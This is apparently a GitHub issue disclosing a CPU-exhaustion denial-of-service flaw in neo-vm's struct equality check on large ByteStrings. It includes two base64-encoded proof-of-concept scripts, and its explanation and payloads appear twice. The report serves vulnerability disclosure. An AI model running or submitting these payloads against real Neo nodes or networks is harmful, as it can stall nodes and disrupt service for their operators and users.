You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
t1.equals(t2) // this opcode is very cheap while spends lots of cpu resources
POC1 (50000 iterate, will be complete in 3m35s): DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJQwwAAEk0STZdFnUol+P///0k=
POC2 (5000000 iterate, damn too long to wait):
DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJAS0wAEk0STZdFnUol+P///0k=
Struct equal combined with ByteString in neo-vm spends huge cpu resources which can exhaust time.
s1 = 'h' * 65535 // len(s1) == 65535, ByteString.MaxComparableSize = 65535
t1 = {s1, s1, ... , s1} // len(t1) == 1000, ExecutionEngineLimits.MaxStackSize = 2048
s2 = 'h' * 65535
t2 = {s2, s2, ... , s2}
t1.equals(t2) // this opcode is very cheap while spends lots of cpu resources
POC1 (50000 iterate, will be complete in 3m35s): DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJQwwAAEk0STZdFnUol+P///0k=
POC2 (5000000 iterate, damn too long to wait):
DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJAS0wAEk0STZdFnUol+P///0k=
Ref: #20
The text was updated successfully, but these errors were encountered: